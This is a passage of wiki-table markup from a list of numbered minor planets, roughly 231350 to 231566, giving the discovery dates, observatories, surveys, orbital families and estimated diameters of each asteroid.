| 231350 || || — || March 24, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.8 km ||
|-id=351 bgcolor=#E9E9E9
| 231351 || || — || March 24, 2006 || Siding Spring || SSS || — || align=right | 2.3 km ||
|-id=352 bgcolor=#E9E9E9
| 231352 || || — || March 24, 2006 || Mount Lemmon || Mount Lemmon Survey || AGN || align=right | 1.7 km ||
|-id=353 bgcolor=#E9E9E9
| 231353 || || — || April 2, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=354 bgcolor=#d6d6d6
| 231354 || || — || April 2, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.4 km ||
|-id=355 bgcolor=#d6d6d6
| 231355 || || — || April 2, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=356 bgcolor=#d6d6d6
| 231356 || || — || April 2, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=357 bgcolor=#d6d6d6
| 231357 || || — || April 2, 2006 || Kitt Peak || Spacewatch || KOR || align=right | 1.9 km ||
|-id=358 bgcolor=#E9E9E9
| 231358 || || — || April 7, 2006 || Catalina || CSS || — || align=right | 3.4 km ||
|-id=359 bgcolor=#E9E9E9
| 231359 || || — || April 8, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.3 km ||
|-id=360 bgcolor=#E9E9E9
| 231360 || || — || April 7, 2006 || Catalina || CSS || — || align=right | 3.8 km ||
|-id=361 bgcolor=#E9E9E9
| 231361 || || — || April 2, 2006 || Anderson Mesa || LONEOS || GEF || align=right | 2.2 km ||
|-id=362 bgcolor=#E9E9E9
| 231362 || || — || April 6, 2006 || Catalina || CSS || CLO || align=right | 3.2 km ||
|-id=363 bgcolor=#E9E9E9
| 231363 || || — || April 7, 2006 || Catalina || CSS || — || align=right | 2.9 km ||
|-id=364 bgcolor=#d6d6d6
| 231364 || || — || April 8, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=365 bgcolor=#E9E9E9
| 231365 || || — || April 18, 2006 || Palomar || NEAT || NEM || align=right | 3.3 km ||
|-id=366 bgcolor=#E9E9E9
| 231366 || || — || April 19, 2006 || Palomar || NEAT || — || align=right | 4.6 km ||
|-id=367 bgcolor=#d6d6d6
| 231367 || || — || April 18, 2006 || Catalina || CSS || EOS || align=right | 3.2 km ||
|-id=368 bgcolor=#E9E9E9
| 231368 || || — || April 22, 2006 || Piszkéstető || K. Sárneczky || AGN || align=right | 1.8 km ||
|-id=369 bgcolor=#d6d6d6
| 231369 || || — || April 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=370 bgcolor=#E9E9E9
| 231370 || || — || April 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.5 km ||
|-id=371 bgcolor=#d6d6d6
| 231371 || || — || April 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 4.2 km ||
|-id=372 bgcolor=#E9E9E9
| 231372 || || — || April 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.8 km ||
|-id=373 bgcolor=#d6d6d6
| 231373 || || — || April 21, 2006 || Kitt Peak || Spacewatch || — || align=right | 6.3 km ||
|-id=374 bgcolor=#d6d6d6
| 231374 || || — || April 21, 2006 || Kitt Peak || Spacewatch || EOS || align=right | 2.6 km ||
|-id=375 bgcolor=#E9E9E9
| 231375 || || — || April 26, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.7 km ||
|-id=376 bgcolor=#d6d6d6
| 231376 || || — || April 24, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=377 bgcolor=#d6d6d6
| 231377 || || — || April 30, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=378 bgcolor=#d6d6d6
| 231378 || || — || April 30, 2006 || Kitt Peak || Spacewatch || EOS || align=right | 3.1 km ||
|-id=379 bgcolor=#d6d6d6
| 231379 || || — || April 26, 2006 || Cerro Tololo || M. W. Buie || — || align=right | 3.9 km ||
|-id=380 bgcolor=#d6d6d6
| 231380 || 2006 JJ || — || May 1, 2006 || Reedy Creek || J. Broughton || — || align=right | 4.0 km ||
|-id=381 bgcolor=#d6d6d6
| 231381 || || — || May 1, 2006 || Kitt Peak || Spacewatch || VER || align=right | 4.2 km ||
|-id=382 bgcolor=#d6d6d6
| 231382 || || — || May 4, 2006 || Kitt Peak || Spacewatch || — || align=right | 4.0 km ||
|-id=383 bgcolor=#d6d6d6
| 231383 || || — || May 2, 2006 || Kitt Peak || Spacewatch || KOR || align=right | 1.8 km ||
|-id=384 bgcolor=#d6d6d6
| 231384 || || — || May 1, 2006 || Kitt Peak || Spacewatch || URS || align=right | 7.2 km ||
|-id=385 bgcolor=#fefefe
| 231385 || || — || May 8, 2006 || Mount Lemmon || Mount Lemmon Survey || FLO || align=right data-sort-value="0.97" | 970 m ||
|-id=386 bgcolor=#d6d6d6
| 231386 || || — || May 8, 2006 || Mount Lemmon || Mount Lemmon Survey || HYG || align=right | 4.3 km ||
|-id=387 bgcolor=#d6d6d6
| 231387 || || — || May 19, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.5 km ||
|-id=388 bgcolor=#d6d6d6
| 231388 || || — || May 20, 2006 || Catalina || CSS || — || align=right | 6.2 km ||
|-id=389 bgcolor=#d6d6d6
| 231389 || || — || May 21, 2006 || Kitt Peak || Spacewatch || EOS || align=right | 3.4 km ||
|-id=390 bgcolor=#d6d6d6
| 231390 || || — || May 20, 2006 || Kitt Peak || Spacewatch || THM || align=right | 3.6 km ||
|-id=391 bgcolor=#d6d6d6
| 231391 || || — || May 21, 2006 || Mount Lemmon || Mount Lemmon Survey || THM || align=right | 3.0 km ||
|-id=392 bgcolor=#d6d6d6
| 231392 || || — || May 23, 2006 || Mount Lemmon || Mount Lemmon Survey || EOS || align=right | 3.2 km ||
|-id=393 bgcolor=#E9E9E9
| 231393 || || — || May 24, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.4 km ||
|-id=394 bgcolor=#d6d6d6
| 231394 || || — || May 24, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.4 km ||
|-id=395 bgcolor=#d6d6d6
| 231395 || || — || May 29, 2006 || Kitt Peak || Spacewatch || HYG || align=right | 4.7 km ||
|-id=396 bgcolor=#d6d6d6
| 231396 || || — || May 29, 2006 || Kitt Peak || Spacewatch || — || align=right | 4.6 km ||
|-id=397 bgcolor=#FA8072
| 231397 || || — || June 24, 2006 || Mount Lemmon || LONEOS || — || align=right | 1.2 km ||
|-id=398 bgcolor=#d6d6d6
| 231398 || || — || August 13, 2006 || Palomar || NEAT || 3:2 || align=right | 8.4 km ||
|-id=399 bgcolor=#d6d6d6
| 231399 || || — || August 27, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=400 bgcolor=#d6d6d6
| 231400 || || — || September 17, 2006 || Kitt Peak || Spacewatch || SHU3:2 || align=right | 7.3 km ||
|}
231401–231500
|-bgcolor=#E9E9E9
| 231401 || || — || September 27, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.7 km ||
|-id=402 bgcolor=#fefefe
| 231402 || || — || October 4, 2006 || Mount Lemmon || Mount Lemmon Survey || H || align=right data-sort-value="0.78" | 780 m ||
|-id=403 bgcolor=#fefefe
| 231403 || || — || November 22, 2006 || Catalina || CSS || H || align=right data-sort-value="0.85" | 850 m ||
|-id=404 bgcolor=#fefefe
| 231404 || || — || November 20, 2006 || Siding Spring || SSS || H || align=right data-sort-value="0.98" | 980 m ||
|-id=405 bgcolor=#fefefe
| 231405 || || — || November 27, 2006 || Mount Lemmon || Mount Lemmon Survey || FLO || align=right data-sort-value="0.67" | 670 m ||
|-id=406 bgcolor=#fefefe
| 231406 || || — || December 20, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.68" | 680 m ||
|-id=407 bgcolor=#fefefe
| 231407 || || — || December 21, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.3 km ||
|-id=408 bgcolor=#fefefe
| 231408 || || — || January 9, 2007 || Catalina || CSS || — || align=right | 1.6 km ||
|-id=409 bgcolor=#d6d6d6
| 231409 || || — || January 17, 2007 || Catalina || CSS || NAE || align=right | 5.8 km ||
|-id=410 bgcolor=#fefefe
| 231410 || || — || January 28, 2007 || Mount Lemmon || Mount Lemmon Survey || FLO || align=right data-sort-value="0.97" | 970 m ||
|-id=411 bgcolor=#fefefe
| 231411 || || — || February 9, 2007 || Catalina || CSS || — || align=right | 2.9 km ||
|-id=412 bgcolor=#fefefe
| 231412 || || — || February 7, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=413 bgcolor=#fefefe
| 231413 || || — || February 7, 2007 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.80" | 800 m ||
|-id=414 bgcolor=#fefefe
| 231414 || || — || February 19, 2007 || Catalina || CSS || PHO || align=right | 3.1 km ||
|-id=415 bgcolor=#fefefe
| 231415 || || — || February 16, 2007 || Palomar || NEAT || — || align=right data-sort-value="0.90" | 900 m ||
|-id=416 bgcolor=#fefefe
| 231416 || || — || February 21, 2007 || Mount Lemmon || Mount Lemmon Survey || MAS || align=right data-sort-value="0.86" | 860 m ||
|-id=417 bgcolor=#fefefe
| 231417 || || — || February 21, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=418 bgcolor=#fefefe
| 231418 || || — || March 9, 2007 || Catalina || CSS || — || align=right | 1.3 km ||
|-id=419 bgcolor=#fefefe
| 231419 || || — || March 11, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=420 bgcolor=#fefefe
| 231420 || || — || March 10, 2007 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.78" | 780 m ||
|-id=421 bgcolor=#E9E9E9
| 231421 || || — || March 12, 2007 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.0 km ||
|-id=422 bgcolor=#fefefe
| 231422 || || — || March 10, 2007 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.92" | 920 m ||
|-id=423 bgcolor=#fefefe
| 231423 || || — || March 10, 2007 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.80" | 800 m ||
|-id=424 bgcolor=#fefefe
| 231424 || || — || March 10, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.7 km ||
|-id=425 bgcolor=#fefefe
| 231425 || || — || March 11, 2007 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.0 km ||
|-id=426 bgcolor=#fefefe
| 231426 || || — || March 11, 2007 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=427 bgcolor=#fefefe
| 231427 || || — || March 11, 2007 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.2 km ||
|-id=428 bgcolor=#E9E9E9
| 231428 || || — || March 11, 2007 || Kitt Peak || Spacewatch || — || align=right | 2.8 km ||
|-id=429 bgcolor=#fefefe
| 231429 || || — || March 14, 2007 || Anderson Mesa || LONEOS || — || align=right data-sort-value="0.98" | 980 m ||
|-id=430 bgcolor=#fefefe
| 231430 || || — || March 9, 2007 || Palomar || NEAT || FLO || align=right | 1.1 km ||
|-id=431 bgcolor=#fefefe
| 231431 || || — || March 9, 2007 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right data-sort-value="0.83" | 830 m ||
|-id=432 bgcolor=#fefefe
| 231432 || || — || March 12, 2007 || Kitt Peak || Spacewatch || V || align=right | 1.1 km ||
|-id=433 bgcolor=#fefefe
| 231433 || || — || March 14, 2007 || Mount Lemmon || Mount Lemmon Survey || FLO || align=right | 1.2 km ||
|-id=434 bgcolor=#fefefe
| 231434 || || — || March 14, 2007 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.70" | 700 m ||
|-id=435 bgcolor=#fefefe
| 231435 || || — || March 15, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=436 bgcolor=#fefefe
| 231436 || || — || March 16, 2007 || Catalina || CSS || — || align=right | 1.4 km ||
|-id=437 bgcolor=#fefefe
| 231437 || || — || March 16, 2007 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=438 bgcolor=#E9E9E9
| 231438 || || — || March 19, 2007 || Catalina || CSS || — || align=right | 2.1 km ||
|-id=439 bgcolor=#E9E9E9
| 231439 || || — || March 20, 2007 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=440 bgcolor=#fefefe
| 231440 || || — || April 11, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.7 km ||
|-id=441 bgcolor=#E9E9E9
| 231441 || || — || April 11, 2007 || Catalina || CSS || — || align=right | 1.2 km ||
|-id=442 bgcolor=#fefefe
| 231442 || || — || April 15, 2007 || Catalina || CSS || V || align=right data-sort-value="0.94" | 940 m ||
|-id=443 bgcolor=#fefefe
| 231443 || || — || April 14, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=444 bgcolor=#fefefe
| 231444 || || — || April 14, 2007 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right data-sort-value="0.79" | 790 m ||
|-id=445 bgcolor=#fefefe
| 231445 || || — || April 15, 2007 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.90" | 900 m ||
|-id=446 bgcolor=#E9E9E9
| 231446 || || — || April 10, 2007 || XuYi || PMO NEO || — || align=right | 2.7 km ||
|-id=447 bgcolor=#E9E9E9
| 231447 || || — || April 16, 2007 || Catalina || CSS || — || align=right | 4.0 km ||
|-id=448 bgcolor=#fefefe
| 231448 || || — || April 20, 2007 || Anderson Mesa || LONEOS || — || align=right | 1.0 km ||
|-id=449 bgcolor=#E9E9E9
| 231449 || || — || April 20, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=450 bgcolor=#d6d6d6
| 231450 || || — || April 23, 2007 || Catalina || CSS || — || align=right | 7.1 km ||
|-id=451 bgcolor=#fefefe
| 231451 || || — || April 22, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=452 bgcolor=#fefefe
| 231452 || || — || April 22, 2007 || Catalina || CSS || — || align=right | 1.6 km ||
|-id=453 bgcolor=#fefefe
| 231453 || || — || April 16, 2007 || Catalina || CSS || V || align=right | 1.0 km ||
|-id=454 bgcolor=#fefefe
| 231454 || || — || April 28, 2007 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.92" | 920 m ||
|-id=455 bgcolor=#E9E9E9
| 231455 || || — || May 9, 2007 || Mount Lemmon || Mount Lemmon Survey || PAD || align=right | 3.5 km ||
|-id=456 bgcolor=#fefefe
| 231456 || || — || May 10, 2007 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.98" | 980 m ||
|-id=457 bgcolor=#fefefe
| 231457 || || — || May 12, 2007 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.1 km ||
|-id=458 bgcolor=#E9E9E9
| 231458 || || — || June 14, 2007 || Socorro || LINEAR || ADE || align=right | 4.9 km ||
|-id=459 bgcolor=#fefefe
| 231459 || || — || June 14, 2007 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=460 bgcolor=#E9E9E9
| 231460 || || — || June 18, 2007 || Kitt Peak || Spacewatch || — || align=right | 2.0 km ||
|-id=461 bgcolor=#fefefe
| 231461 || || — || June 22, 2007 || Anderson Mesa || LONEOS || — || align=right | 1.4 km ||
|-id=462 bgcolor=#d6d6d6
| 231462 || || — || July 24, 2007 || Tiki || N. Teamo || — || align=right | 4.6 km ||
|-id=463 bgcolor=#d6d6d6
| 231463 || 2007 PO || — || August 5, 2007 || Wrightwood || J. W. Young || — || align=right | 6.3 km ||
|-id=464 bgcolor=#C2FFFF
| 231464 || || — || August 7, 2007 || Antares || ARO || L4 || align=right | 12 km ||
|-id=465 bgcolor=#E9E9E9
| 231465 || || — || August 7, 2007 || Antares || ARO || MRX || align=right | 1.4 km ||
|-id=466 bgcolor=#E9E9E9
| 231466 || || — || August 8, 2007 || Socorro || LINEAR || — || align=right | 2.5 km ||
|-id=467 bgcolor=#d6d6d6
| 231467 || || — || August 9, 2007 || Socorro || LINEAR || — || align=right | 7.0 km ||
|-id=468 bgcolor=#d6d6d6
| 231468 || || — || August 11, 2007 || Bergisch Gladbach || W. Bickel || EUP || align=right | 6.6 km ||
|-id=469 bgcolor=#E9E9E9
| 231469 || || — || August 9, 2007 || Socorro || LINEAR || — || align=right | 4.6 km ||
|-id=470 bgcolor=#d6d6d6
| 231470 Bedding || || || September 2, 2007 || Siding Spring || K. Sárneczky, L. Kiss || KOR || align=right | 2.0 km ||
|-id=471 bgcolor=#d6d6d6
| 231471 || || — || October 13, 2007 || Socorro || LINEAR || 7:4 || align=right | 5.1 km ||
|-id=472 bgcolor=#d6d6d6
| 231472 || || — || October 8, 2007 || Kitt Peak || Spacewatch || HYG || align=right | 5.1 km ||
|-id=473 bgcolor=#d6d6d6
| 231473 || || — || October 15, 2007 || Lulin Observatory || LUSS || — || align=right | 4.4 km ||
|-id=474 bgcolor=#fefefe
| 231474 || || — || October 30, 2007 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.83" | 830 m ||
|-id=475 bgcolor=#d6d6d6
| 231475 || || — || November 1, 2007 || Skylive || F. Tozzi || — || align=right | 5.1 km ||
|-id=476 bgcolor=#E9E9E9
| 231476 || || — || November 13, 2007 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=477 bgcolor=#fefefe
| 231477 || || — || March 4, 2008 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.97" | 970 m ||
|-id=478 bgcolor=#E9E9E9
| 231478 || || — || April 5, 2008 || Catalina || CSS || — || align=right | 2.2 km ||
|-id=479 bgcolor=#E9E9E9
| 231479 || || — || April 28, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.5 km ||
|-id=480 bgcolor=#E9E9E9
| 231480 || || — || April 30, 2008 || Mount Lemmon || Mount Lemmon Survey || MIS || align=right | 3.7 km ||
|-id=481 bgcolor=#fefefe
| 231481 || || — || May 8, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.1 km ||
|-id=482 bgcolor=#fefefe
| 231482 || 2008 KL || — || May 26, 2008 || Grove Creek || F. Tozzi || — || align=right | 1.0 km ||
|-id=483 bgcolor=#d6d6d6
| 231483 || || — || July 30, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 6.2 km ||
|-id=484 bgcolor=#d6d6d6
| 231484 || || — || July 25, 2008 || Siding Spring || SSS || — || align=right | 5.9 km ||
|-id=485 bgcolor=#fefefe
| 231485 || || — || July 29, 2008 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.98" | 980 m ||
|-id=486 bgcolor=#fefefe
| 231486 Capefearrock || || || August 3, 2008 || Antares || R. Holmes, H. Devore || FLO || align=right data-sort-value="0.84" | 840 m ||
|-id=487 bgcolor=#E9E9E9
| 231487 || || — || August 3, 2008 || Vicques || M. Ory || — || align=right | 1.7 km ||
|-id=488 bgcolor=#fefefe
| 231488 || || — || August 5, 2008 || La Sagra || Mallorca Obs. || — || align=right | 2.1 km ||
|-id=489 bgcolor=#E9E9E9
| 231489 || || — || August 10, 2008 || La Sagra || Mallorca Obs. || — || align=right | 1.0 km ||
|-id=490 bgcolor=#E9E9E9
| 231490 || || — || August 25, 2008 || Hibiscus || S. F. Hönig, N. Teamo || — || align=right | 3.3 km ||
|-id=491 bgcolor=#E9E9E9
| 231491 || || — || August 27, 2008 || La Sagra || Mallorca Obs. || — || align=right | 2.4 km ||
|-id=492 bgcolor=#d6d6d6
| 231492 || || — || August 28, 2008 || La Sagra || Mallorca Obs. || — || align=right | 4.2 km ||
|-id=493 bgcolor=#C2FFFF
| 231493 || || — || August 29, 2008 || Dauban || F. Kugel || L4 || align=right | 13 km ||
|-id=494 bgcolor=#E9E9E9
| 231494 || || — || August 26, 2008 || La Sagra || Mallorca Obs. || — || align=right | 4.5 km ||
|-id=495 bgcolor=#E9E9E9
| 231495 || || — || August 30, 2008 || La Sagra || Mallorca Obs. || MRX || align=right | 1.6 km ||
|-id=496 bgcolor=#fefefe
| 231496 || || — || August 25, 2008 || La Sagra || Mallorca Obs. || SUL || align=right | 2.6 km ||
|-id=497 bgcolor=#E9E9E9
| 231497 || || — || August 27, 2008 || La Sagra || Mallorca Obs. || — || align=right | 2.2 km ||
|-id=498 bgcolor=#E9E9E9
| 231498 || || — || August 23, 2008 || Siding Spring || SSS || ADE || align=right | 2.6 km ||
|-id=499 bgcolor=#fefefe
| 231499 || || — || August 24, 2008 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=500 bgcolor=#d6d6d6
| 231500 || || — || August 30, 2008 || Socorro || LINEAR || — || align=right | 4.9 km ||
|}
231501–231600
|-bgcolor=#d6d6d6
| 231501 || || — || August 23, 2008 || Siding Spring || SSS || — || align=right | 3.3 km ||
|-id=502 bgcolor=#E9E9E9
| 231502 || || — || September 2, 2008 || Kitt Peak || Spacewatch || HEN || align=right | 1.7 km ||
|-id=503 bgcolor=#d6d6d6
| 231503 || || — || September 3, 2008 || Kitt Peak || Spacewatch || HYG || align=right | 3.0 km ||
|-id=504 bgcolor=#d6d6d6
| 231504 || || — || September 4, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=505 bgcolor=#E9E9E9
| 231505 || || — || September 2, 2008 || Kitt Peak || Spacewatch || AGN || align=right | 1.8 km ||
|-id=506 bgcolor=#E9E9E9
| 231506 || || — || September 2, 2008 || Kitt Peak || Spacewatch || — || align=right | 1.3 km ||
|-id=507 bgcolor=#d6d6d6
| 231507 || || — || September 2, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 2.1 km ||
|-id=508 bgcolor=#fefefe
| 231508 || || — || September 3, 2008 || Kitt Peak || Spacewatch || — || align=right | 1.0 km ||
|-id=509 bgcolor=#C2FFFF
| 231509 || || — || September 5, 2008 || Kitt Peak || Spacewatch || L4 || align=right | 14 km ||
|-id=510 bgcolor=#E9E9E9
| 231510 || || — || September 4, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.5 km ||
|-id=511 bgcolor=#d6d6d6
| 231511 || || — || September 3, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.4 km ||
|-id=512 bgcolor=#d6d6d6
| 231512 || || — || September 1, 2008 || Siding Spring || SSS || — || align=right | 4.8 km ||
|-id=513 bgcolor=#d6d6d6
| 231513 || || — || September 5, 2008 || Kitt Peak || Spacewatch || CHA || align=right | 3.0 km ||
|-id=514 bgcolor=#d6d6d6
| 231514 || || — || September 6, 2008 || Mount Lemmon || Mount Lemmon Survey || THM || align=right | 3.3 km ||
|-id=515 bgcolor=#E9E9E9
| 231515 || || — || September 8, 2008 || Catalina || CSS || — || align=right | 3.5 km ||
|-id=516 bgcolor=#C2FFFF
| 231516 || || — || September 6, 2008 || Mount Lemmon || Mount Lemmon Survey || L4 || align=right | 13 km ||
|-id=517 bgcolor=#E9E9E9
| 231517 || || — || September 19, 2008 || Kitt Peak || Spacewatch || — || align=right | 4.2 km ||
|-id=518 bgcolor=#E9E9E9
| 231518 || || — || September 20, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.1 km ||
|-id=519 bgcolor=#d6d6d6
| 231519 || || — || September 20, 2008 || Kitt Peak || Spacewatch || THM || align=right | 3.0 km ||
|-id=520 bgcolor=#E9E9E9
| 231520 || || — || September 20, 2008 || Kitt Peak || Spacewatch || HOF || align=right | 3.4 km ||
|-id=521 bgcolor=#d6d6d6
| 231521 || || — || September 20, 2008 || Mount Lemmon || Mount Lemmon Survey || THM || align=right | 2.9 km ||
|-id=522 bgcolor=#E9E9E9
| 231522 || || — || September 20, 2008 || Kitt Peak || Spacewatch || — || align=right | 1.7 km ||
|-id=523 bgcolor=#E9E9E9
| 231523 || || — || September 20, 2008 || Kitt Peak || Spacewatch || — || align=right | 1.5 km ||
|-id=524 bgcolor=#E9E9E9
| 231524 || || — || September 20, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.1 km ||
|-id=525 bgcolor=#E9E9E9
| 231525 || || — || September 25, 2008 || Kachina || J. Hobart || — || align=right | 2.9 km ||
|-id=526 bgcolor=#E9E9E9
| 231526 || || — || September 26, 2008 || Sierra Stars || F. Tozzi || EUN || align=right | 1.9 km ||
|-id=527 bgcolor=#d6d6d6
| 231527 || || — || September 28, 2008 || Prairie Grass || J. Mahony || — || align=right | 5.1 km ||
|-id=528 bgcolor=#d6d6d6
| 231528 || || — || September 21, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 1.8 km ||
|-id=529 bgcolor=#d6d6d6
| 231529 || || — || September 21, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 2.0 km ||
|-id=530 bgcolor=#d6d6d6
| 231530 || || — || September 21, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 2.0 km ||
|-id=531 bgcolor=#E9E9E9
| 231531 || || — || September 21, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=532 bgcolor=#d6d6d6
| 231532 || || — || September 22, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=533 bgcolor=#E9E9E9
| 231533 || || — || September 22, 2008 || Kitt Peak || Spacewatch || PAD || align=right | 2.6 km ||
|-id=534 bgcolor=#E9E9E9
| 231534 || || — || September 23, 2008 || Kitt Peak || Spacewatch || — || align=right | 1.7 km ||
|-id=535 bgcolor=#E9E9E9
| 231535 || || — || September 25, 2008 || Junk Bond || D. Healy || — || align=right | 2.5 km ||
|-id=536 bgcolor=#d6d6d6
| 231536 || || — || September 24, 2008 || Socorro || LINEAR || — || align=right | 2.8 km ||
|-id=537 bgcolor=#d6d6d6
| 231537 || || — || September 28, 2008 || Socorro || LINEAR || THM || align=right | 3.6 km ||
|-id=538 bgcolor=#d6d6d6
| 231538 || || — || September 28, 2008 || Socorro || LINEAR || K-2 || align=right | 2.8 km ||
|-id=539 bgcolor=#d6d6d6
| 231539 || || — || September 28, 2008 || Socorro || LINEAR || — || align=right | 5.3 km ||
|-id=540 bgcolor=#d6d6d6
| 231540 || || — || September 22, 2008 || Catalina || CSS || — || align=right | 4.7 km ||
|-id=541 bgcolor=#d6d6d6
| 231541 || || — || September 22, 2008 || Kitt Peak || Spacewatch || KAR || align=right | 1.4 km ||
|-id=542 bgcolor=#d6d6d6
| 231542 || || — || September 24, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.3 km ||
|-id=543 bgcolor=#E9E9E9
| 231543 || || — || September 30, 2008 || La Sagra || Mallorca Obs. || AGN || align=right | 1.9 km ||
|-id=544 bgcolor=#d6d6d6
| 231544 || || — || September 30, 2008 || La Sagra || Mallorca Obs. || HYG || align=right | 3.3 km ||
|-id=545 bgcolor=#E9E9E9
| 231545 || || — || September 29, 2008 || Catalina || CSS || WIT || align=right | 1.4 km ||
|-id=546 bgcolor=#E9E9E9
| 231546 || || — || September 29, 2008 || Catalina || CSS || WIT || align=right | 1.6 km ||
|-id=547 bgcolor=#E9E9E9
| 231547 || || — || September 29, 2008 || Catalina || CSS || HOF || align=right | 4.1 km ||
|-id=548 bgcolor=#E9E9E9
| 231548 || || — || September 20, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.4 km ||
|-id=549 bgcolor=#E9E9E9
| 231549 || || — || September 22, 2008 || Catalina || CSS || — || align=right | 4.0 km ||
|-id=550 bgcolor=#E9E9E9
| 231550 || || — || September 23, 2008 || Kitt Peak || Spacewatch || DOR || align=right | 3.9 km ||
|-id=551 bgcolor=#d6d6d6
| 231551 || || — || September 23, 2008 || Kitt Peak || Spacewatch || — || align=right | 5.4 km ||
|-id=552 bgcolor=#d6d6d6
| 231552 || || — || September 30, 2008 || Catalina || CSS || — || align=right | 3.8 km ||
|-id=553 bgcolor=#E9E9E9
| 231553 || || — || September 21, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=554 bgcolor=#fefefe
| 231554 || || — || September 29, 2008 || Catalina || CSS || V || align=right data-sort-value="0.98" | 980 m ||
|-id=555 bgcolor=#d6d6d6
| 231555 Christianeurda || || || October 1, 2008 || Bergen-Enkheim || U. Süßenberger || — || align=right | 4.6 km ||
|-id=556 bgcolor=#E9E9E9
| 231556 || || — || October 1, 2008 || La Sagra || Mallorca Obs. || HOF || align=right | 3.5 km ||
|-id=557 bgcolor=#d6d6d6
| 231557 || || — || October 1, 2008 || La Sagra || Mallorca Obs. || — || align=right | 4.6 km ||
|-id=558 bgcolor=#d6d6d6
| 231558 || || — || October 1, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.2 km ||
|-id=559 bgcolor=#E9E9E9
| 231559 || || — || October 1, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=560 bgcolor=#d6d6d6
| 231560 || || — || October 2, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 1.7 km ||
|-id=561 bgcolor=#d6d6d6
| 231561 || || — || October 2, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=562 bgcolor=#d6d6d6
| 231562 || || — || October 2, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=563 bgcolor=#E9E9E9
| 231563 || || — || October 2, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=564 bgcolor=#E9E9E9
| 231564 || || — || October 2, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.2 km ||
|-id=565 bgcolor=#d6d6d6
| 231565 || || — || October 8, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.3 km ||
|-id=566 bgcolor=#d6d6d6
